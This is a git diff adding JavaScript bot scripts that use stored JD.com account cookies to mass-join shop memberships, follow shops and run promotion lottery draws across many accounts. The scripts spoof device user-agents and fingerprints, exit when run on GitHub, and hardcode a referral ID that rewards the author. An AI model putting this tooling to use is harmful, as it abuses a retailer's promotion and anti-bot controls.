$.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function getEid(arr) { + return new Promise(resolve => { + const options = { + url: `https://gia.jd.com/fcf.html?a=${arr.a}`, + body: `d=${arr.d}`, + headers: { + "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8", + "User-Agent": $.UA + } + } + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`\n${turnTableId[i].name} 登录: API查询请求失败 ‼️‼️`) + throw new Error(err); + } else { + if (data.indexOf("*_*") > 0) { + data = data.split("*_*", 2); + data = JSON.parse(data[1]); + $.eid = data.eid + } else { + console.log(`京豆api返回数据为空,请检查自身原因`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + + + +async function getUA(){ + $.UA = `jdapp;iPhone;10.0.10;14.3;${randomString(40)};network/wifi;model/iPhone12,1;addressid/4199175193;appBuild/167741;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1` + let arr = await Faker.getBody($.UA,'https://prodev.m.jd.com/mall/active/4TUq5NiJL2QnGsbnCemJ2UUsaa9R/index.html') + $.fp = arr.fp + await getEid(arr) +} +function randomString(e) { + e = e || 32; + let t = "abcdef0123456789", a = t.length, n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} + diff --git a/backUp/gua_opencard7.js b/backUp/gua_opencard7.js new file mode 100644 index 0000000..7aaeb3e --- /dev/null +++ b/backUp/gua_opencard7.js @@ -0,0 +1,763 @@ +/* +8.8-8.14 七夕会员福利社 [gua_opencard7.js] +新增开卡脚本 +一次性脚本 + +邀请一人30豆 (有可能没有豆 +开21个卡 抽奖可能获得5、10、15京豆(有可能有抽到空气💨 +关注20京豆 (有可能是空气💨 +每日 加购3京豆 (有可能是空气💨 默认不加购 如需加购请设置环境变量[guaopencard_addSku7]为"true" + +第一个账号助力作者 其他依次助力CK1 +第一个CK失效会退出脚本 + +默认脚本不执行 +如需执行脚本请设置环境变量 +guaopencard7="true" +———————————————— +若是手机用户(不是nodejs环境) 是默认直接执行脚本的 +没有适配加购变量 所以是不加购 +———————————————— +入口:[8.8-8.14 七夕会员福利社 (https://lzdz1-isv.isvjcloud.com/dingzhi/shop/league/activity/7277549?activityId=dz2108100001616201&shareUuid=976abef915bf40ae9e6adc93c1693d9a)] + +============Quantumultx=============== +[task_local] +#8.8-8.14 七夕会员福利社 +28 0,22 8-14 8 * https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard7.js, tag=8.8-8.14 七夕会员福利社, enabled=true + +================Loon============== +[Script] +cron "28 0,22 8-14 8 *" script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard7.js,tag=8.8-8.14 七夕会员福利社 + +===============Surge================= +8.8-8.14 七夕会员福利社 = type=cron,cronexp="28 0,22 8-14 8 *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard7.js + +============小火箭========= +8.8-8.14 七夕会员福利社 = type=cron,script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard7.js, cronexpr="28 0,22 8-14 8 *", timeout=3600, enable=true +*/ +const $ = new Env('8.8-8.14 七夕会员福利社'); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], + cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +let guaopencard_addSku = false +const JD_API_HOST = `https://api.m.jd.com/client.action`; +message = "" +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { + "open-url": "https://bean.m.jd.com/" + }); + return; + } + if ($.isNode()) { + if (!process.env.guaopencard7 || process.env.guaopencard7 == "false") { + console.log('如需执行脚本请设置环境变量[guaopencard7]为"true"') + return + } + guaopencard_addSku = process.env.guaopencard_addSku7 + if (!process.env.guaopencard_addSku7 || process.env.guaopencard_addSku7 == "false") { + console.log('如需加购请设置环境变量[guaopencard_addSku7]为"true"') + } + } + $.shareUuid = '976abef915bf40ae9e6adc93c1693d9a' + $.activityId = 'dz2108100001616201' + console.log(`入口:\nhttps://lzdz1-isv.isvjcloud.com/dingzhi/shop/league/activity/7277549?activityId=${$.activityId}&shareUuid=${$.shareUuid}`) + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + getUA() + $.nickName = ''; + console.log(`\n\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + await run(); + if(i == 0 && !$.actorUuid) return + } + } +})() + .catch((e) => $.logErr(e)) + .finally(() => $.done()) + +async function run(){ + try{ + $.isvObfuscatorToken = $.LZ_TOKEN_KEY = $.LZ_TOKEN_VALUE = '' + await getWxCommonInfoToken(); + await getIsvObfuscatorToken(); + if($.isvObfuscatorToken == '' || $.LZ_TOKEN_KEY == '' || $.LZ_TOKEN_VALUE == ''){ + console.log('获取[token]失败!') + return + } + await getSimpleActInfoVo() + $.myPingData = await getMyPing() + if ($.myPingData ==="" || $.myPingData === '400001' || typeof $.shopId == 'undefined' || typeof $.venderId == 'undefined') { + $.log("获取活动信息失败!") + return + } + await getHtml(); + await adLog(); + $.attrTouXiang = 'https://img10.360buyimg.com/imgzone/jfs/t1/7020/27/13511/6142/5c5138d8E4df2e764/5a1216a3a5043c5d.png' + await getUserInfo(); + $.actorUuid = ''; + await getActorUuid(); + if(!$.actorUuid){ + console.log('获取不到[actorUuid]退出执行,请重新执行') + return + } + await drawContent(); + await $.wait(1000) + let checkOpenCardData = await checkOpenCard(); + $.log("开完卡: " + checkOpenCardData.allOpenCard) + if (checkOpenCardData && !checkOpenCardData.allOpenCard) { + for (let cardList1Element of checkOpenCardData.cardList) { + if(cardList1Element.status == 0){ + console.log(cardList1Element.name) + await join(cardList1Element.value) + await $.wait(1000) + await drawContent(); + } + } + await $.wait(1000) + await drawContent(); + checkOpenCardData = await checkOpenCard(); + await $.wait(1000) + } + console.log(`共有${checkOpenCardData.drawScore}次抽奖`) + for(j=1;checkOpenCardData.drawScore--;j++){ + console.log(`第${j}次`) + await startDraw() + await $.wait(1000) + } + $.log("关注: " + $.followShop) + if(!$.followShop) await followShop(); + if(!$.followShop) await $.wait(1000) + $.log("加购: " + $.addSku) + if(!$.addSku && guaopencard_addSku+"" != "true") console.log('如需加购请设置环境变量[guaopencard_addSku7]为"true"'); + if(!$.addSku && guaopencard_addSku) await addSku(); + if(!$.addSku && guaopencard_addSku) await $.wait(1000) + await getActorUuid() + await $.wait(1000) + await getDrawRecordHasCoupon() + await $.wait(1000) + await getShareRecord() + $.log($.shareUuid) + if ($.index === 1) { + if($.actorUuid){ + $.shareUuid = $.actorUuid; + }else{ + console.log('账号1获取不到[shareUuid]退出执行,请重新执行') + return + } + } + }catch(e){ + console.log(e) + } +} +function getDrawRecordHasCoupon() { + return new Promise(resolve => { + let body = `activityId=${$.activityId}&actorUuid=${$.actorUuid}&pin=${encodeURIComponent($.myPingData.secretPin)}&num=0&sortSuatus=1` + $.post(taskPostUrl('/dingzhi/taskact/common/getDrawRecordHasCoupon', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // console.log(data) + data = JSON.parse(data) + console.log(`我的奖品:`) + let num = 0 + let value = 0 + for(let i in data.data){ + let item = data.data[i] + if(item.value == '邀请好友') num++; + if(item.value == '邀请好友') value = item.infoName.replace('京豆',''); + if(item.value != '邀请好友') console.log(`${item.infoType != 10 && item.value +':' || ''}${item.infoName}`) + } + if(num > 0) console.log(`邀请好友(${num}):${num*parseInt(value, 10) || 30}京豆`) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data.data); + } + }) + }) +} +function getShareRecord() { + return new Promise(resolve => { + let body = `activityId=${$.activityId}&actorUuid=${$.actorUuid}&pin=${encodeURIComponent($.myPingData.secretPin)}&num=0&sortSuatus=1` + $.post(taskPostUrl('/dingzhi/taskact/common/getShareRecord', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data) + $.log(`=========== 你邀请了:${data.data.length}个`) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data.data); + } + }) + }) +} + +function addSku() { + return new Promise(resolve => { + let body = `activityId=${$.activityId}&pin=${encodeURIComponent($.myPingData.secretPin)}&actorUuid=${$.actorUuid}&shareUuid=${$.shareUuid}&taskType=2&taskValue=2` + $.post(taskPostUrl('/dingzhi/shop/league/saveTask', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if(data.errorMessage) console.log(`加购:${data.errorMessage || ''}`) + if(data.count == 0 && data.result == true){ + let msg = '' + if(data.data.addBeanNum){ + msg = `${data.data.addBeanNum}京豆` + } + console.log(`加购获得:${ msg || '空气💨'}`) + }else{ + $.log($.toStr(data)) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function followShop() { + return new Promise(resolve => { + let body = `activityId=${$.activityId}&pin=${encodeURIComponent($.myPingData.secretPin)}&actorUuid=${$.actorUuid}&shareUuid=${$.shareUuid}&taskType=1&taskValue=1` + $.post(taskPostUrl('/dingzhi/shop/league/saveTask', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if(data.errorMessage) console.log(`关注:${data.errorMessage || ''}`) + if(data.count == 0 && data.result == true){ + let msg = '' + if(data.data.addBeanNum){ + msg = `${data.data.addBeanNum}京豆` + } + if(data.data.beanNumMember && data.data.assistSendStatus){ + msg += ` 额外获得:${data.data.beanNumMember}京豆` + } + console.log(`关注获得:${ msg || '空气💨'}`) + }else{ + $.log($.toStr(data)) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function getshopactivityId(venderId) { + return new Promise(resolve => { + $.get(shopactivityId(`${venderId}`), async (err, resp, data) => { + try { + data = JSON.parse(data); + if(data.success == true){ + // console.log($.toStr(data.result)) + // console.log(`入会:${data.result.shopMemberCardInfo.venderCardName || ''}`) + $.shopactivityId = data.result.interestsRuleList && data.result.interestsRuleList[0] && data.result.interestsRuleList[0].interestsInfo && data.result.interestsRuleList[0].interestsInfo.activityId || '' + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function shopactivityId(functionId) { + return { + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body=%7B%22venderId%22%3A%22${functionId}%22%2C%22channel%22%3A401%7D&client=H5&clientVersion=9.2.0&uuid=88888`, + headers: { + 'Content-Type': 'text/plain; Charset=UTF-8', + 'Origin': 'https://api.m.jd.com', + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'User-Agent': $.UA, + 'content-type': 'application/x-www-form-urlencoded', + 'Referer': `https://shopmember.m.jd.com/shopcard/?venderId=${functionId}&shopId=${functionId}&venderType=5&channel=401&returnUrl=https://lzdz1-isv.isvjcloud.com/dingzhi/shop/league/activity/7277549?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, + 'Cookie': cookie + } + } +} +function join(venderId) { + return new Promise(async resolve => { + $.shopactivityId = '' + await $.wait(1000) + await getshopactivityId(venderId) + $.get(ruhui(`${venderId}`), async (err, resp, data) => { + try { + // console.log(data) + data = JSON.parse(data); + if(data.success == true){ + $.log(data.message) + if(data.result && data.result.giftInfo){ + for(let i of data.result.giftInfo.giftList){ + console.log(`入会获得:${i.discountString}${i.prizeName}${i.secondLineDesc}`) + } + } + }else if(data.success == false){ + $.log(data.message) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function ruhui(functionId) { + let activityId = `` + if($.shopactivityId) activityId = `,"activityId":${$.shopactivityId}` + return { + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body={"venderId":"${functionId}","shopId":"${functionId}","bindByVerifyCodeFlag":1,"registerExtend":{},"writeChildFlag":0${activityId},"channel":401}&client=H5&clientVersion=9.2.0&uuid=88888`, + headers: { + 'Content-Type': 'text/plain; Charset=UTF-8', + 'Origin': 'https://api.m.jd.com', + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'User-Agent': $.UA, + 'content-type': 'application/x-www-form-urlencoded', + 'Referer': `https://shopmember.m.jd.com/shopcard/?venderId=${functionId}&shopId=${functionId}&venderType=5&channel=401&returnUrl=https://lzdz1-isv.isvjcloud.com/dingzhi/shop/league/activity/7277549?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, + 'Cookie': cookie + } + } +} + +function startDraw() { + return new Promise(resolve => { + let body = `activityId=${$.activityId}&actorUuid=${$.actorUuid}&pin=${encodeURIComponent($.myPingData.secretPin)}` + $.post(taskPostUrl('/dingzhi/shop/league/startDraw', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // $.log($.toStr(data)) + data = $.toObj(data); + if(data.errorMessage || data.data.errorMessage) console.log(`抽奖:${data.errorMessage || data.data.errorMessage || ''}`) + if(data.count == 0 && data.result == true){ + console.log(`抽奖获得:${data.data.drawOk && data.data.name || '空气💨'}`) + }else{ + $.log($.toStr(data)) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data.data); + } + }) + }) +} +function checkOpenCard() { + return new Promise(resolve => { + let body = `activityId=${$.activityId}&pin=${encodeURIComponent($.myPingData.secretPin)}&actorUuid=${$.actorUuid}&shareUuid=${$.shareUuid}` + $.post(taskPostUrl('/dingzhi/shop/league/checkOpenCard', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + res = $.toObj(data); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(res && res.data || ''); + } + }) + }) +} + + +function drawContent() { + return new Promise(resolve => { + $.post({ + url: `https://lzdz1-isv.isvjcloud.com/dingzhi/taskact/common/drawContent`, + body: `activityId=${$.activityId}&pin=${encodeURIComponent($.myPingData.secretPin)}`, + headers: { + 'User-Agent': $.UA, + 'Host':'lzdz1-isv.isvjcloud.com', + 'Content-Type': 'application/x-www-form-urlencoded; Charset=UTF-8', + 'Referer':`https://lzdz1-isv.isvjcloud.com/dingzhi/shop/league/activity/7277549?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, + 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.myPingData.secretPin}; ${$.lz_jdpin_token}`, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getActorUuid() { + return new Promise(resolve => { + $.post({ + url: `https://lzdz1-isv.isvjcloud.com/dingzhi/shop/league/activityContent`, + body: `activityId=${$.activityId}&pin=${encodeURIComponent($.myPingData.secretPin)}&pinImg=${encodeURIComponent($.attrTouXiang)}&nick=${encodeURIComponent($.myPingData.nickname)}&cjyxPin=&cjhyPin=&shareUuid=${$.shareUuid}`, + headers: { + 'User-Agent': $.UA, + 'Host':'lzdz1-isv.isvjcloud.com', + 'Content-Type': 'application/x-www-form-urlencoded; Charset=UTF-8', + "Referer": `https://lzdz1-isv.isvjcloud.com/dingzhi/shop/league/activity/7277549?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, + 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.myPingData.secretPin}; ${$.lz_jdpin_token}`, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // console.log(data) + res = $.toObj(data); + if(typeof res == 'object' && res.result === true){ + if(typeof res.data.followShop.allStatus != 'undefined') $.followShop = res.data.followShop.allStatus + if(typeof res.data.addSku.allStatus != 'undefined') $.addSku = res.data.addSku.allStatus + if(typeof res.data.actorUuid != 'undefined') $.actorUuid = res.data.actorUuid + }else if(typeof res == 'object' && res.errorMessage){ + console.log(`activityContent ${res.errorMessage || ''}`) + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getUserInfo() { + return new Promise(resolve => { + $.post({ + url: `https://lzdz1-isv.isvjcloud.com/wxActionCommon/getUserInfo`, + body: `pin=${encodeURIComponent($.myPingData.secretPin)}`, + headers: { + 'User-Agent': $.UA, + 'Host':'lzdz1-isv.isvjcloud.com', + 'Content-Type': 'application/x-www-form-urlencoded; Charset=UTF-8', + 'Referer': `https://lzdz1-isv.isvjcloud.com/dingzhi/shop/league/activity/7277549?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, + 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.myPingData.secretPin}; ${$.lz_jdpin_token}`, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} getUserInfo API请求失败,请检查网路重试`) + } else { + res = $.toObj(data); + if(typeof res == 'object' && res.result === true){ + if(res.data && typeof res.data.yunMidImageUrl != 'undefined') $.attrTouXiang = res.data.yunMidImageUrl || "https://img10.360buyimg.com/imgzone/jfs/t1/7020/27/13511/6142/5c5138d8E4df2e764/5a1216a3a5043c5d.png" + }else if(typeof res == 'object' && res.errorMessage){ + console.log(`getUserInfo ${res.errorMessage || ''}`) + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function adLog() { + return new Promise(resolve => { + let pageurl = `https://lzdz1-isv.isvjcloud.com/dingzhi/shop/league/activity/7277549?activityId=${$.activityId}&shareUuid=${$.shareUuid}` + $.post({ + url: `https://lzdz1-isv.isvjcloud.com/common/accessLogWithAD`, + body: `venderId=${$.venderId}&code=99&pin=${encodeURIComponent($.myPingData.secretPin)}&activityId=${$.activityId}&pageUrl=${encodeURIComponent(pageurl)}&subType=APP&adSource=null`, + headers: { + 'User-Agent': $.UA, + 'Host':'lzdz1-isv.isvjcloud.com', + 'Content-Type': 'application/x-www-form-urlencoded; Charset=UTF-8', + 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.myPingData.secretPin}; ${$.lz_jdpin_token}`, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // data = JSON.parse(data); + let setcookies = resp['headers']['set-cookie'] || resp['headers']['Set-Cookie'] || '' + let setcookie = '' + if(setcookies){ + if(typeof setcookies != 'object'){ + setcookie = setcookies.split(',') + }else setcookie = setcookies + let LZ_TOKEN_KEY = setcookie.filter(row => row.indexOf("LZ_TOKEN_KEY") !== -1)[0] + if(LZ_TOKEN_KEY && LZ_TOKEN_KEY.indexOf("LZ_TOKEN_KEY=") > -1){ + $.LZ_TOKEN_KEY = LZ_TOKEN_KEY.split(';') && (LZ_TOKEN_KEY.split(';')[0]) || '' + $.LZ_TOKEN_KEY = $.LZ_TOKEN_KEY.replace('LZ_TOKEN_KEY=','') + } + let LZ_TOKEN_VALUE = setcookie.filter(row => row.indexOf("LZ_TOKEN_VALUE") !== -1)[0] + if(LZ_TOKEN_VALUE && LZ_TOKEN_VALUE.indexOf("LZ_TOKEN_VALUE=") > -1){ + $.LZ_TOKEN_VALUE = LZ_TOKEN_VALUE.split(';') && (LZ_TOKEN_VALUE.split(';')[0]) || '' + $.LZ_TOKEN_VALUE = $.LZ_TOKEN_VALUE.replace('LZ_TOKEN_VALUE=','') + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getHtml() { + return new Promise(resolve => { + $.get({ + url: `https://lzdz1-isv.isvjcloud.com/dingzhi/shop/league/activity/7277549?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, + headers: { + 'User-Agent': $.UA, + 'Host':'lzdz1-isv.isvjcloud.com', + 'X-Requested-With': 'com.jingdong.app.mall', + 'Cookie': 